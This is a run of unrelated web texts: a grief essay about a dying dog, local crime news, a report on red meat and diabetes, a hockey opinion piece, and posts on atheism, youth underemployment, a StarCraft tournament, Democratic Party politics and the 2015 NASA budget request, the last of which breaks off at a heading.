He’s not gone yet. But if I’m being honest with myself — much as it pisses me off to be — I know he won’t be with us much longer. If he manages to squeak through this crisis (inner crazy person: Shut up! He will! Goddamit!), how long before the next? Or the next after that? His body is compromised; it’s a matter of time before he’s too tired to rally; too weak to try.
And so this is the place where I’ve been before – and where you’ve maybe been, too, if you’ve buried someone you love, because every death reminds you of other deaths. It’s not quite a march toward the end but a roller coaster of ups and down, with the peaks a little flatter each time, while the depths drop a little steeper.
Does it seem weird to compare a dog to a human, possibly? And if so, why?
The truth is that Chile is connecting me to my own past – to the loss of my father, my mother, and even my own son. There is no hierarchy here, that exalts the demise of one kind of being and dismisses the other. They are all souls who’ve been loved. I’ve made decisions about Chile that I’ve never had to make for a human: Should we try to make him better? (Yes.) Even if it costs money? (Yes.) What if he needs another echo-cardiogram? (So?) Will you pay for that? (Yes.) In that way, I’m forced to give my love for Chile a dollar value — a bottom line, so to speak — in the way we humans rarely are called to do for one another.
How much would you give to fix him? I would give what I could, because that’s what you do for love.
When my father died, it was a weekday, and the mail came as usual. I was in high school, and I remember I was surprised by the mail truck: How could the world go on, when such a tremendous thing had happened? Didn’t they know? Someone I loved had died, and the world would never be the same. Why is it that the world is the same for everyone else? That’s crazy and egocentric, of course, but that’s what grief (and teen-hood) will do.
Decades later, I’m there again, wondering how the world can tick on, and business can get done, when nothing is the same. At the vet, they’re doing all they can. I kiss Chile goodnight on the top of his little red head and I tell him: You’ll be okay. Love you, you knucklehead. See you tomorrow. I don’t want to go, but I have to.
Meanwhile, my parts are on the outside, aching. There’s a little bit of crazy, inside. I want to punch somebody. I want to climb into the cage and never leave my weird little boy. Or one better: I want to watch him tackle the beach and run at top-speed down the hard sand, and remember how it feels – maybe just one more time – when my heart fills with his joy.
Prosecutors said they decided against charging Jerry Dale Risener after concluding that they could not prove that he had committed a crime when he fatally shot 49-year-old Mitchell Demopoulos in the chest on Jan. 15.
The shooting happened at Risener�s home on Lower Brice Creek Road.
Risener lived at the house with a female tenant. He also regularly allowed Demopoulos to stay there, Lane County sheriff�s Sgt. Carrie Carver said.
�He was my friend,� an emotional Risener said of Demopoulos when contacted Tuesday.
�I had no choice,� Risener said of the shooting. �He did not give me an out.�
On the night of the incident, Risener, Demopoulos and the woman all had been drinking before Risener told Demopoulos to leave the house during a dispute, authorities said.
Demopoulos ignored Risener�s directions, began strangling the woman and told Risener that he would kill him and burn down the house, according to a case summary prepared by prosecutors.
The woman told investigators that Risener shot Demopoulos while she was being strangled, and that she believed Risener was protecting her and himself, prosecutors said.
Demopoulos disregarded Risener�s order to stop strangling the woman before being shot, prosecutors said.
Officials in the district attorney�s office concluded that Risener�s response was legally justified under Oregon law, which allows the use of deadly force against a person who is committing or attempting to commit a residential burglary; is using or about to illegally use deadly force against another person; or is committing or attempting to commit a felony involving the use or threatened imminent use of physical force against a person.
Demopoulos had a lengthy criminal record with convictions for crimes that included drug possession and delivery, domestic assault and being a felon in possession of a firearm, prosecutors said.
An average of just one 85-gram (three-ounce) serving of unprocessed red meat—such as a medium hamburger or a small pork chop—per day increased by 12 percent the chances a person would get type 2 diabetes over the course of a decade or two. And if the meat was processed—such as a hot dog or two slices of bacon—the risk increased to 32 percent, even though serving sizes were smaller.
The new study, published online August 10 in the American Journal of Clinical Nutrition, is not the first to find the link between red meat and diabetes risk. But it is the largest and one of the first to look separately at unprocessed and processed meats.
"On a gram-per-gram basis, unprocessed red meat is still better," says Frank Hu, a professor of nutrition and epidemiology at the Harvard School of Public Health and co-author of the new paper. "But unprocessed red meat is still associated with a significantly increased risk."
More than 8.5 percent of U.S. adults have been diagnosed with diabetes, and in some counties in the so-called "diabetes belt" in the South, the numbers exceed 11.2 percent. The rates are expected to keep climbing in the coming years.
Hu suggests that based on the analysis there is indeed a "disease burden that can be attributed to consumption of either processed or unprocessed red meat."
It's what's for dinner, for many
A U.S. adult consumes an average of more than 45 kilograms (100 pounds) of red meat a year. "There's no question that consumption of red meat is too high," Hu says, suggesting nuts, whole grains and low-fat dairy products as healthier alternatives. And diabetes is not the only reason to switch to lighter forms of protein. People who ate 113 grams (four ounces) of red meat a day are more likely to die from any cause over 10 years, according to a 2009 Archives of Internal Medicine study of half of a million people.
Of course, eating red meat for a week "is not going to give someone diabetes—we're talking about habitual consumption," Hu says. And for those uncertain about trading in a filet mignon for a fistful of almonds, the researchers behind the new paper also list poultry and fish as alternatives, although Hu cautions that other research also supports the move to a more plant-based diet.
"It really confirms what other studies have suggested," says Elizabeth Seaquist, director of the Center for Diabetes Research at the University of Minnesota, who was not involved in the new study. The new report analyzed health and dietary information from three large-scale cohort studies (the "Health Professionals Follow-Up Study," and the "Nurses' Health Study I and II"), which encompassed some 200,000 adults. It combined that data with previous studies for a meta-analysis that covered a total of 440,000 men and women who were followed for 10 years or more.
Seaquist puts great confidence in the findings based on the study's sample size, but notes that as an epidemiological study like this one should, it "raises more hypotheses than gives us answers."
The additional incriminating evidence for this category of food seems to swing the pendulum away from refined carbohydrates as the only culprits in advancing diabetes. And the new paper "will heighten awareness of the potential for different dietary components to contribute to diabetes," Charles Burant, director of the Metabolomics and Obesity Center at the University of Michigan Medical School, who also was not involved in the new paper.
For people who have been following the research, however, "the findings are not particularly surprising," Hu says. In fact, despite the big play that sugars and other highly processed carbohydrates have gotten, red meat is actually "one of the most well-established dietary risk factors," he notes.
Size matters
One of the tricky aspects of lifestyle studies like this one is that unhealthful behaviors often go together, making it tough to tease them apart to see if one is having a larger effect than others. And in the studies, those who reported eating the most red meat also tended to have other risk factors for diabetes, such has having a higher body mass index (BMI), smoking and not getting much physical activity. "People who eat a lot of meats tend to gain more weight," Hu says.
So the new findings might be more "a reflection of poor dietary intake by people who eat meat," Burant says. Seaquist explains more plainly that perhaps "people who eat red meat end up eating French fries with it."
Burant is not convinced that red meats—or any other food category in particular—are to blame for diabetes. "My own personal bias is that it's not just what you eat but how much you eat," he says. As obesity is the largest known risk factor for developing type 2 diabetes, "calories are probably the primary driver for the risk for diabetes," Burant says. As a clinician, he says, he tells his patients who might be at risk for diabetes: "I don't care what you eat—just eat less of it."
But, after Hu and his colleagues adjusted their analysis to account for weight gain, they still saw a modest association between red meat and type 2 diabetes. That might mean that there are other factors at work independent of extra pounds, the researchers posit.
One theory is that the type of iron prevalent in red meat, known as heme iron, unlike forms of iron found in plants and nutritional supplements, is readily absorbed by the body and can in fact lead to iron overload. Studies have shown that too much iron can lead to oxidative stress and higher levels of inflammation, both of which can be precursors to diabetes. Seaquist cautions that plenty of people still need to make sure they get enough iron, but adds that, "there is a strong link to iron overload in the body and risk for diabetes."
Another reason for an increase in diabetes risk could be the types of saturated fats in red meat as well as the additives (such as nitrates and sodium) in processed food. But as Hu acknowledges, "it's very challenging to pinpoint the exact components of food that are responsible."
Many researchers are waiting for more evidence. "I don't think we can tell" yet whether red meat can be separated from overall weight gain as a factor for diabetes risk, Seaquist says. But, she notes, the fact that the study was so large and there was still a correlation between red meat consumption and diabetes risk after adjusting for BMI "makes me a little more concerned that maybe there really is something specific about red meat" that pushes the body toward diabetes.
In addition to looking to better understand the mechanisms at work in the body, Hu says, he will be keeping a close eye on other countries where diets are changing.
"It's very important to locate the effects of meat consumption on chronic disease risk in countries that are undergoing nutritional transitions," Hu says. But as in the U.S., the panoply of food and lifestyle choices that people make are difficult to tease apart.
It all started with an article on Yahoos Puck Daddy by Josh Cooper who was the former beat writer for the Preds in Nashville. It was a long and well written article outlining why the time to trade the stalwart defenseman of the Predators is now.
He basically had five main reasons to trade Shea Weber before this season. He felt that teams would line up to give Nashville almost anything they want for the big defenseman. Secondly, it is generally thought that the team has an embarrassment of riches on defense including youngsters, Roman Josi, Seth Jones, and Ryan Ellis.
He worried that last year’s lower stats for Weber could be a trend instead of an aberration. He also feels that the team is going to have to bring buckets of money next year to sign both Jones and Filip Forsberg. Lastly, he stated that since the big offer sheet incident with Philadelphia, things have never been the same and it’s time to turn the team over to upcoming young stars.
Weber will be 30 years old this month and with the big hits and big minutes he plays he may be closer to 35 in “Hockey Years”. He had his worst year statistically last year with 15 goals and 45 points, (most teams DREAM they had a defenseman that could score like that). He also doesn’t come cheap thanks to aforementioned offer sheet that will hit the Predators salary cap with nearly $8 million annually through the 2025-26 season.
It is thought that trading Weber could bring the legitimate first line center that the Predators have always craved plus at least a couple of good young prospects. Although it’s been a long time since it’s been a problem in Nashville, cornerstone defensemen are almost as hard to come by as star forwards and goalies like Pekka Rinne.
If you were ever going to trade Weber, now is the time. He isn’t getting any younger and as we saw when Ryan Suter left in Free Agency, sometimes it almost turns out a good thing. We aren’t saddled with Suter’s huge contract and it would have been hard for Roman Josi to turn into one of the NHL’s best upcoming defensemen sitting behind him on the bench.
All of that being said, I am dead set against trading the Captain. At least at the present time. He is so much more to this team than just goals and points can show. He is the face of the franchise and that is more important than ever this year with the All Star game coming to Nashville. You will see him locally and nationally as the leader of the team in all the hoopla surrounding that game.
I am one of the folks that believe that if the Predators had a healthy Shea Weber in the first round of the playoffs last season against the Blackhawks, there would be a different team showing off the Stanley Cup now. I’m not saying that team would be the Preds but I don’t think that Chicago would have escaped the first round. That is the kind of difference that Weber provides.
He does so many things well. He averaged over 26 minutes a game last year for the third year in a row. Although the stat can be over-rated, he was a plus-15 when on the ice and that is against the best players on the other teams. He is a shut down defenseman and still has a 108 mph slapshot that no one wants to get in front of.
The Predators gave two-year deals to Mike Fisher and Mike Ribeiro this off-season. There are reasons to believe that there are young players ready to make the step up to provide more offense, especially with Peter Laviolette’s system. The young team gained needed experience from meeting Chicago in the playoffs last year. I truly believe that the Predators will be better this year than last.
That is why I think you keep Shea Weber for the forseeable future and let him lead us to the NHL promised land. He is the heart and soul of this team and if he comes back and shows that last year was nothing more than an aberration stats-wise he is invaluable. Let’s table all of this trade talk and perhaps revisit it in a couple of years.
Source: Various, linked below
Last month, eleven-year-old Rowan Hansen wrote a letter to DC Comics asking why the fuck they neglect their female superheroes so much in publishing, movies, and merchandising.
Obviously, when eleven year olds are pointing out how inept you are at appealing to anyone other than 45 year old dudes, your company might have some problems. Luckily, the folks at DC have a great solution: draw the girl as a superhero and hope she shuts the fuck up! Woo!
Welp, problem solved, let's go make some more collectible statues where you can see our superheroine's panties, right guys? Wrong! Rowan was having none of it (via Robot 6):
Rowan was thrilled by DC initial reply, and with the art, but she makes it clear her mission doesn’t end there. “It was really, really cool, ’cause they’re so big and important people,” she said, regarding DC’s tweets. “But I thought ‘I don’t want people to think, “Oh, yeah, OK, they responded to her. Now it’s over.’ I want people to keep trying to make this happen, ’cause it’s really important to me.”
I'd like to offer some advice of my own.
Young workers, students, and recent graduates: what's happening to you might be 'normal' in this economy -- the same basic one we've had for over a century, with some fun modifications -- but it sure as hell isn't right.
By now, you know the injustices to which I refer. The labour market greeting you when you graduate -- from high school, university or college -- isn't pretty. A growing number of you are either working in jobs (or unpaid internships) that are well below your skill or education level. Many are employed part-time and/or in short-term contracts instead of full-time, permanent jobs. A report pulling together hundreds of peer-reviewed studies found that "when youth enter the labour market, they are most often employed in low-paying jobs, and often have credentials that exceed the job requirements." Indeed, the proportion of workers under 30 working non-permanent jobs has nearly doubled since 1997 (from around 7 per cent to 12 per cent). Not coincidentally, when we hear the monthly job creation numbers, we usually find out that most of the growth has come in the form of part-time positions. The youth unemployment rate is higher than that of the general working-age population, and while that's nothing new, it just shows that our economic system has some intransigent flaws.
And yet nearly every public voice is telling you that you need to change. As Trish Hennessy put it on the CBC's Bottom Line panel, we've individualized the problems of underemployment and skills mismatches and student debt. Our societal problem has become your personal problem. That's why everyone's turning themselves into knots to offer you advice.
My advice to you? Get angry.
Channel your anxiety about getting a job into frustration that we're back here, again, talking about a "lost generation," just like we were in the 1980s and 1990s.
Be indignant. When someone tells you it's your fault for doing sociology instead of welding, tell them to stuff it.
When someone assures you it'll get better in 10-15 years when the boomers retire, try repeating it back to them so they can hear how ludicrous it is.
When someone tries to divert societal attention toward labour shortages instead of the spread of crappy jobs, call bullshit, because there is no national skills or labour shortage. The empirical research on this is nearly unanimous. There is some mismatch, but this is normal (albeit stupid) part of a dynamic economy.
By some accounts, there is also no generalized surplus of labour -- no widespread overproduction of university graduates, no flood of sociology majors with skills nobody wants. This is not to say that we don't have the occasional, isolated overproduction of certain kinds of grads -- we're all familiar with the glut of law students who can't find articling positions in Ontario, or the throngs of teachers who can't get full-time placements in nearly every province. This is also not to deny credential inflation -- the fact that jobs that once required only a high school diploma are suddenly able, because of the supply of university graduates, to ask for a bachelor's degree.
But scores of peer-reviewed studies show that most graduates eventually find work, that a post-secondary education will get you a higher salary in the end, and that surpluses and shortages in our country are generally short-lived -- they haven't lasted more than about a year and a half -- and are confined to specific sectors. In short, there is. No. National. General. Labour. Shortage. And because of that, there is no sound basis for a national labour market strategy to address a general labour shortage.
There's also no sound basis for an individual strategy. By the time you finish even a 3-year college degree, the job you're supposedly training for might be non-existent, or the requirements changed.
But all of this is beside the point. The real injustice is not that you are overqualified for or mismatched to the jobs available to you, but that the career you're shooting for is probably being dismantled into a set of lower-wage, no-benefits, no-security jobs. This is the trend in government, where temporary contracts are the new junior position; it's also the trend in universities, where contract instructors are taking on more and more of the teaching once performed by tenured faculty. It's even happening in other unionized workplaces, where collective agreements are being amended to allow for two-tier wage and benefit systems (you can guess who's in the bottom tier). The situation, in other words, is grim.
This is not to say that you are powerless. There is much you can do.
Read and familiarize yourself with the critiques of capitalism as we know it.
Join the movements that aim to press back against capitalism's most damaging characteristics.
If you find yourself in a retail job for which you are overqualified -- or even if you're perfectly qualified -- follow the lead of a growing number of retail workers who've unionized in an effort to take back some control over the conditions of economic production and the conditions of their lives.
Take to the streets on tuition freeze day, May Day and Labour Day.
But your most effective and threatening power lies not in what you're capable of doing, but in what you can refuse to do. I'm going to borrow from a philosopher (Giorgio Agamben) and a philosopher friend (Matthew Furlong) to tell you to focus not on your potential, but your impotential; not on what you can do, or even what you cannot do, but what you can not do.
Everyone is pressing you to adapt to the present. But you can not adapt. You can not re-train for a job that might just disappear like the first one you trained for. You can not work for minimum wage when you graduate. You can not mold yourself into the perfect worker so that corporations can escape the cost of training you.
This is all a bit rich, coming from me. Barring catastrophe, there's a full-time, permanent job awaiting me after my current short-term post is up. But I count myself among those whose duty is to push back on contractualization, precarious work, devalued labour, and market fundamentalism. If you get a good job, good for you. But it will be your duty to ally yourself with the growing legions of young workers who are exploited -- and underemployment is exploitation -- just because they can be.
Whatever you do, don't simply figure things out for yourself. If we keep on figuring things out individually, we will never figure things out collectively.
There are no atheists in foxholes Atheists are just angry with God Atheists are aggressive and rude Atheism is a white dude thing Atheism is just a faith like any other Atheists don’t have a moral code Atheist lives are bleak and lack meaning Atheists are hedonists who don’t understand the true meaning of love Atheists have no way to cope after losing loved ones without the belief in an afterlife Atheists are out to destroy Christmas
If curious, click here to go read that.
As you look at the above, I suspect there will be two reactions. If you are indeed a believer, then you just might look down that list and nod your head thinking, “Yep that’s all correct” (if so, then you really do need to click the link and read), and if you are a non-believer you will of course be thinking something along the lines of, “Sigh, yep more delusional theist thinking”.
I used to be a believer, and I did indeed at that time hold some of the above views, I was for example 100% sure that Atheism was just another belief. In fact, I was so sure of my position that I felt absolutely confident that the only thing between myself and the Atheist position is that they simply lacked a bit of information that I had, and if they knew what I knew, then they would change their minds.
Quite obviously I changed my mind and now hold a more rational evidence-based viewpoint. This however leads to a very obvious question, I was once sure that I was right, but changed my mind, and so I now hold a view that is quite different, so how can I be certain that the view I now hold is correct and is not just as delusional as the previous one?
To answer this we need to think about how we arrive at ‘truth’ and why we often choose to embrace an irrational view that is contrary to the evidence.
Religion is a system that is not based upon empirical evidence, but is instead an attempt to grasp understanding and meaning by asserting supernatural claims. This is the means our ancestors deployed as they attempted to comprehend the world.
Closed to criticism
Generally hostile to reason
Starts with the conclusion then seeks evidence that confirms it, and dismisses any that conflicts with it
Appeals to tradition and ancient texts.
The scientific method has given us a better way for determining truth. Through this we look for actual evidence and only accept things that can be proven, and refute all that has no evidence. If new evidence is presented for a newer better understanding, then we embrace that newer understanding
Open to criticism
Embraces reason
Starts with the evidence, forms a hypothesis that explains what is observed, then tests it to verify the conclusion.
Builds upon established facts.
The point I wish to draw out here is that the move from being religious to becoming an atheist is not akin to simply embracing a different set of beliefs, but instead consists of putting aside an older form of ‘truth’ seeking for a far superior means for doing the same – the scientific method. It involves asking good questions such as, “Why do I believe this to be true?”, and “How do I know this is true?”. It is the journey down this road that leads to a more skeptical evidence-based means of understanding. Atheism just happens to be a natural outcome from this process, and as such is not a belief of any kind, nor is it a community you join, but rather is coming to the realization that for all the claims that “God is real”, not one single jot of credible evidence exists.
A debate between a believer and a non-believer is not simply a clash between different views, but is the boundary between two entirely different ways for arriving at ‘truth’.
So how can I retain confidence in my current view? Easy, it is not hammered in stone, just present me with actual measurable evidence, and I’ll change my mind, and as for the silly religious claims regarding supernatural deities … well, I’ll not be holding my breath while I wait.
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According to an in-depth LA Weekly story on Madlib (via XXL), the California beat master just might end up in the credits on Kanye West's forthcoming fifth album. West put "five Madlib beats on hold for his new album," according to the piece, though no word if any of the productions will make the final cut. Apparently, Kanye also nearly fell over in a backless chair while visiting Madlib at some point-- what I would give to see a video of that meeting of the (not exactly normal) minds.
Other producers rumored to have contributed to the new Kanye album include Q-Tip, DJ Premier, Pete Rock, and the RZA. The record is supposedly due out September 14.
With about one month to DreamHack Winter 2011 it’s time to present the second wave of selected players to DreamHack SAPPHIRE AMD Championship. During this week two of four online qualifiers have been played and we have four qualified players to the StarCraft II main tournament
DreamHack Winter 2011 is the final event of the DreamHack SAPPHIRE AMD Championship. The finalist from the Championship will attend and be challenged by some of the best StarCraft II players in the world to compete for 400 000 SEK on the 24th to 26th of November in Jönköping, Sweden. The tournament will reach its climax with the semi finals and final taking place in front of 4000 people in the new DreamArena AMD SAPPHIRE on the 26th of November.
Online qualifiers:
The first two online qualifiers took place this week and we can gladly welcome TypeII.PhoeNix, ROX.KIS.Titan, TypeII.DBS and ROX.KIS.Abver who managed to fight through hundreds of players and secure a spot for the main tournament at DreamHack Winter. The next two chances to qualify are at the first and second of November.
Dates:1 November and 2 November (start time 18.00 CET)
Game: StarCraft II, EU-version
Patch: Latest version
No. of slots: 512
Game format: 1vs1 BO3 (Best of 3), Semi Final BO5 (Best of 5) Grand Final BO5 (Best of 5)
Tournament format: Random generated brackets, single elimination, top 2 qualifies
Map pool: TSL3 Metalopolis, Antiga Shipyard, ESL Shattered Temple, GSL Dual Sight, ESL Shakuras Plateau, Tal’Darim Altar LE, GSTL GSL TerminusRE
Sign-up: Online Qualification #3, Online Qualification #4
Tournament fee: All players need to buy an Event Pass (450 SEK), which includes all time access during the whole event and possibility to use the open sleeping hall. The Event Pass is bought at http://bokning.dreamhack.se.
Main Tournament:
Dates: 24-26 November. The first set of groups start at 10.00 CET on the 24th. The Grand Final will be played at 23.00 Saturday the 26th of November
Game: StarCraft II
Patch: Latest version
No. of slots: 64
Game format: 1vs1 BO3 (Best of 3), Grand Final BO5 (Best of 5)
Tournament format:
Day 1: Group play #1 with 16 groups of 4 players each, 32 advances
Day 2: Group play #2 with 8 groups of 4 players each, 16 advances
Day 3: Playoff with single elimination
Map pool: TBA
Prizes:
1. 200 000 SEK
2. 90 000 SEK
3-4. 35 000 SEK
3-4. 35 000 SEK
5-8. 10 000 SEK
5-8. 10 000 SEK
5-8. 10 000 SEK
5-8. 10 000 SEK
Players:
01. oGs MC – Winner DreamHack Stockholm Invitational
02. Tt Esports White-Ra – Runner up DreamHack Stockholm Invitational
03. Team EG HuK – Winner DreamHack Summer 2011
04. coL.MVP DongRaeGu – Winner DreamHack Valencia Invitational
05. Mousesports ThorZaIN – Runner up DreamHack Valencia Invitational
06. Virus Gaming Bly – DreamHack Summer 2011 BYOC
07. Redbyte StarEagle – DreamHack Summer 2011 BYOC
08. Cyber Nation SarenS – Runner up DreamHack South Europe Regionals
09. Low Land Lions Orly Winner DreamHack Benelux Regionals
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Twenty years ago, I wrote a book titled Divided They Fell: The Demise of the Democratic Party: 1964-1996. The book traced how the Democrats shifted from a mainstream centrist party to one of the left, adopting policies that eventually alienated many Americans, causing them to move over to the Republican column. The 2016 election is the result of that process.
The seeds of Trump’s victory were planted in the first “progressive” reforms instituted during and after the campaign of George McGovern in 1972, marking the beginning of the Democrats’ decline. At the Chicago convention, the McGovern Democrats pushed out the old party bosses and trade union leaders, and put in their place self-proclaimed progressives chosen by the identity group to which they belonged; i.e., African-Americans, students, women, etc.
In carrying this out, the Chicago delegation that had been put together by the union leaders was literally kicked out of the convention. Attacking organized labor as a “conservative” group made many union Democrats slowly move into the ranks of the Republican Party. That trend culminated during the Ronald Reagan campaign, producing the large group dubbed “Reagan Democrats.”
The Democrats had begun their long march to the left by choosing to appeal to liberal constituency groups rather than the traditional electorate that made up the old New Deal-Fair Deal coalition. They also instituted quotas to make sure that future delegates would consist of a solid representation of members of these identity groups through institution of a quota system. As McGovern explained: “The way we got the quota thing through was by not using the word ‘quotas.’”
The Democratic Party was, in effect, captured by the left. There was an interregnum when Bill Clinton won the election as a “New Democrat,” arguing for a centrist path. Even so, during his first two years in office, Clinton had tried and failed to institute policies of a leftist nature like instituting a universal health care system to be run by his wife, supporting affirmative action, and cutting the defense budget. In the end, he found he found that to get anything done, he would have to work with Republicans, adopting a policy that was then called “triangulation.”
Now we have come full circle. The Trump victory this month was a wake-up call to the Democratic Party—a group whose main support came from elites in Hollywood and Silicon Valley, and East Coast backers in or close to Wall Street, professionals, minority groups, and many members of the public service trade unions. This year, women were supposed to be all in, but failed to come through. Missing above all was the white working class, once the heart of the Democratic Party during the years of F.D.R. and Harry S Truman.
What happened in this election is explained well by John B. Judis in the Sunday Washington Post:
For Clinton, the adversary was Trump, but it was also, as the campaign developed, the “basket of deplorables” who backed him. While Clinton claimed she meant only a subset of Trump’s white working-class supporters, her charge was taken—with some justice—as applying to the group in its entirety. So instead of creating a majority that included her base plus a significant slice of potential Republican voters, Clinton defined her coalition against them. (Many liberal pundits reinforced this perception by repeatedly characterizing Trump’s voters as poorly informed and racist, even though in 2008 and 2012 many of these voters backed Obama.)
Now Democrats are searching for answers about their shellacking and what they should do about it if the party is to have a future. Fingers are being pointed. To find answers, Politico reports that George Soros and other liberal-left big money people met in a private three-day event in the nation’s capital with what reporter Kenneth P. Vogel calls “the darlings of the left” including Nancy Pelosi, Elizabeth Warren and Rep. Keith Ellison (D-MN), who is the Congressional Progressive Caucus co-chairman. The Conference, sponsored by the Democracy Alliance (DA) donor club—who, according to Vogel, “have had a major hand in shaping the institutions of the left”—is assessing what went wrong. One thing they agree on is to wage “full-on trench warfare” against President-elect Trump’s 100-day plan.
Some urge rebuilding the Clinton/Obama coalition, but many question whether that will be sufficient to win national elections in the future. Others, including Ellison, argue that winning the working-class vote is necessary. The way to do that, he believes, is by arguing for “a form of economic populism.”
Today, the old guard, represented by Hillary Clinton and the DNC, is in a fight for its life, pitted against the socialist far left represented by the campaign of Bernie Sanders. Their favorite for chairman of the Democratic National Committee—-previously run by Clinton stalwarts like Debbie Wasserman Schultz and Donna Brazile—-is Ellison, who took a parting shot at Clinton:“You can’t tell working people you’re on their side while at the same time you’re raising money from Wall Street and the billionaire class. The Democratic Party has to be focused on grass-roots America and not wealthy people attending cocktail parties.”
Ellison recently received the endorsement of Sen. Chuck Schumer, although his main backers include Bernie Sanders and Elizabeth Warren. Competing for the job, with a visible lack of support, are the more “moderate” figures Howard Dean and Martin O’Malley.
The Democrats, while ranting about the racism of Steve Bannon, are seemingly uninterested in exploring Ellison’s past and finding out what he stands for. Some answers can be found in an article written by Dennis MacEoin six years ago, which appeared in Middle East Quarterly, where he is the editor. MacEoin notes that despite a predictably liberal voting record, Ellison “consorts with groups and individuals that represent a threat to democracy and America.” In Ellison’s sympathy for Islamists, MacEoin accuses him “of being at best naïve in his associations, and at worst a fifth columnist,” who provides cover in the House “for anti-American discourse, and possibly, anti-American actions.”
Ellison’s record includes association with Louis Farrakhan’s Nation of Islam during his law school days and again in 1995 when he endorsed the Million Man March, which has been extensively documented. In his nuanced article, MacEoin points out that Ellison has in fact taken positions at odds with Islamic doctrine, for example, denouncing the views of Sayyid Qutb, who he said was “responsible for what we would regard today as violent extremism with what I call a Muslim veneer.” Ellison has, however, received funding for his campaigns from the Council on American-Islamic Relations, including thousands of dollars from Nihad Awad, its executive director. He is a man who has openly supported Hamas and other violent Islamist groups. Ellison was also keynote speaker in 2002 for the Muslim American Society, the American chapter of the Muslim Brotherhood, which is pledged to wage Jihad in America and work toward “destroying the Western civilization from within and ‘sabotaging’ their miserable house so that…Allah’s religion is made victorious over all religions,” writes MacEoin.
In the end, MacEion concludes that Ellison is a bundle of contradictions. While his legislative record was within the mainstream of American life, at the same time he also did fundraising “for groups whose leadership would replace the Constitution with the laws of Islam.”
After 9/11, Ellison said the attack was like the Reichstag fire, which Hitler blamed on the Communists and used as the excuse to assume total power in Germany. Rep. Eric Cantor replied: “Even if Ellison asserts that he was not implying that 9/11 was orchestrated by the administration, the comparison he draws between Hitler and the President of United States is disgraceful. These comments inflame hatred and division at a time when we should be promoting our unity and reconciliation.”
If Ellison wins his post, as it seems he will, given Senator Chuck Schumer’s support, it will be a sign that the Sanders wing of the party has won control of the DNC. They believe left-wing populism will appeal to the same voters who just voted for Trump and that in the next election, a socialist or progressive candidate will be able to win. Of course, this assumes that the national electorate will vote for the destruction of America’s democratic capitalism and put a self-proclaimed socialist or far left radical into office.
[Updated] To Europa!...Slowly. First Impressions of NASA's New Budget Request
My first impressions of the 2015 NASA Budget Request from the White House
Updated with additional details on ARM and a link to our petition to write Congress and the White House. All updates are in italics. We've also posted a special edition of Planetary Radio discussing the 2015 NASA Budget Request.
Happy NASA Budget request day!
The White House released parts of its formal request for next year's NASA budget today. As usual, there is both good and bad news contained within. Note that we don't yet have all of the details, but are limited to a mix of high-level numbers and answers we can get to specific questions. NASA will provide more information in the next week or so, so stay tuned for the devils in the future details.
First, NASA's top-line budget is $17.46 billion. This was a surprise to many (me, at least), because it's a cut of nearly $254 million from last year's White House request and $185 million below what NASA actually received from Congress. We have the recent congressional budget deal to thank for this, which capped total non-mandatory spending levels for 2015 at $1.014 trillion. The White House's entire budget respects this cap and spreads the cuts around pretty evenly. There is an important caveat to this, as we will see shortly.
The Opportunity, Growth, and Security (OGS) Initiative. This is the caveat. This proposal, totaling about $56 billion, is a wish list of programs that the White House would probably have included in their budget if Congress hadn't imposed its spending cap. Of this total, NASA programs account for approximately $900 million. The White House says that this whole fund could be paid for by closing a variety of tax loopholes, which means this has little chance of passing our current Congress. That doesn't mean that none of the programs contained within will get funded, but they are more tenuous than specific requests in the budget.
Ok, let's get into some details.
Planetary Exploration
Many regular readers know that The Planetary Society has been fighting to reverse cuts to NASA's Planetary Science Division, which manages all robotic probes to destinations within the solar system. Historically the division has received about $1.5 billion per year, but that was cut back in 2013 and we've been working to restore that for the past few years.
The White House requests $1.28 billion for Planetary Science in 2015, an increase over last year's White House request, but still $65 million below the level approved by Congress in 2014. This represents a cut, but less of a cut, so I take that as a positive.
NASA / JPL-Caltech / Michael Carroll The Europa Clipper spacecraft concept The Clipper spacecraft flies over the surface of Europa in this artist's rendering. NASA is currently studying this reduced-cost mission which would use at least 48 flybys to explore the moon instead of entering into orbit. The Clipper spacecraft flies over the surface of Europa in this artist's rendering. NASA is currently studying this reduced-cost mission which would use at least 48 flybys to explore the moon instead of entering into orbit.
The big news in Planetary Science is that the White House and NASA are taking a tentative step towards Europa, and adding in funding for formulation studies for a Europa mission targeted for sometime in the 2020s. This is great news! A mission to Europa is of very high scientific priority, and very strongly supported by The Planetary Society as well.
But don't get too excited. During today's press briefing, NASA Administrator Bolden avoided answering any questions about the scale or timeline of a Europa mission. NASA CFO Beth Robinson was willing to say "mid-2020s" but not much beyond that. This does not sound like an agency willing to commit to a flagship-class mission like the Europa Clipper. And $15 million, which NASA is requesting, is not enough to build *any* mission, and, after studying various Europa mission concepts for about 15 years, I'm not sure what's left to consider. A lot of detail remains to be worked out here, so we need to make sure this small spark grows into a full-blown mission of exploration. I'm glad that NASA has acknowledged that a Europa mission is worthwhile, we just need to make sure they follow through with it.
Update 3/05/14: NASA Administrator Bolden has stated that NASA wants a sub-$1B "New Frontiers" class mission to Europa.
Extended mission funding is mixed. It sounds like Cassini, Curiosity, and most other planetary missions will continue for 2015, at least. But continued operations of MER Opportunity and LRO are not included in the request but in the supplemental wish list I described above. Yikes. Happy 10th birthday, Opportunity! If Congress doesn't add in additional funding, this could be the last year for both for both of those missions.
Mars 2020 gets continued support, but we don't know how much yet. This is an extremely important mission and returning samples of Mars to the Earth is rated very highly by the scientific community. The budget for this mission is tight and the funding profile as initially proposed a little wonky, so we need to follow-up to make sure that the program is getting the money it needs to stay on track. We'll have more data within a week, it seems.
NASA / JPL-Caltech Artist's Concept of Mars 2020 Rover, Annotated Planning for NASA's 2020 Mars rover envisions a basic structure that capitalizes on re-using the design and engineering work done for the NASA rover Curiosity, which landed on Mars in 2012, but with new science instruments selected through competition for accomplishing different science objectives with the 2020 mission. Planning for NASA's 2020 Mars rover envisions a basic structure that capitalizes on re-using the design and engineering work done for the NASA rover Curiosity, which landed on Mars in 2012, but with new science instruments selected through competition for accomplishing different science objectives with the 2020 mission.
NASA is committed to a Discovery mission starting in FY15. We heard that NASA is committed to increasing the cadence of these smaller, cost-capped missions that are crucial to our industrial base and key to exploring major science questions around the solar system. But we need more detail on how hard they're going to work to ensure more missions like Dawn, GRAIL, Kepler, and MESSENGER.
Plutonium-238 production is fully-funded. The budget includes funding to pay the Department of Energy to maintain its Pu-238 and Radioisotope Thermoelectric Generator (RTG) infrastructure, as well as continue work on new production at Oak Ridge National Laboratory in Tennessee. This is crucial to future planetary exploration missions, so I am are very happy to see this.
Astrophysics
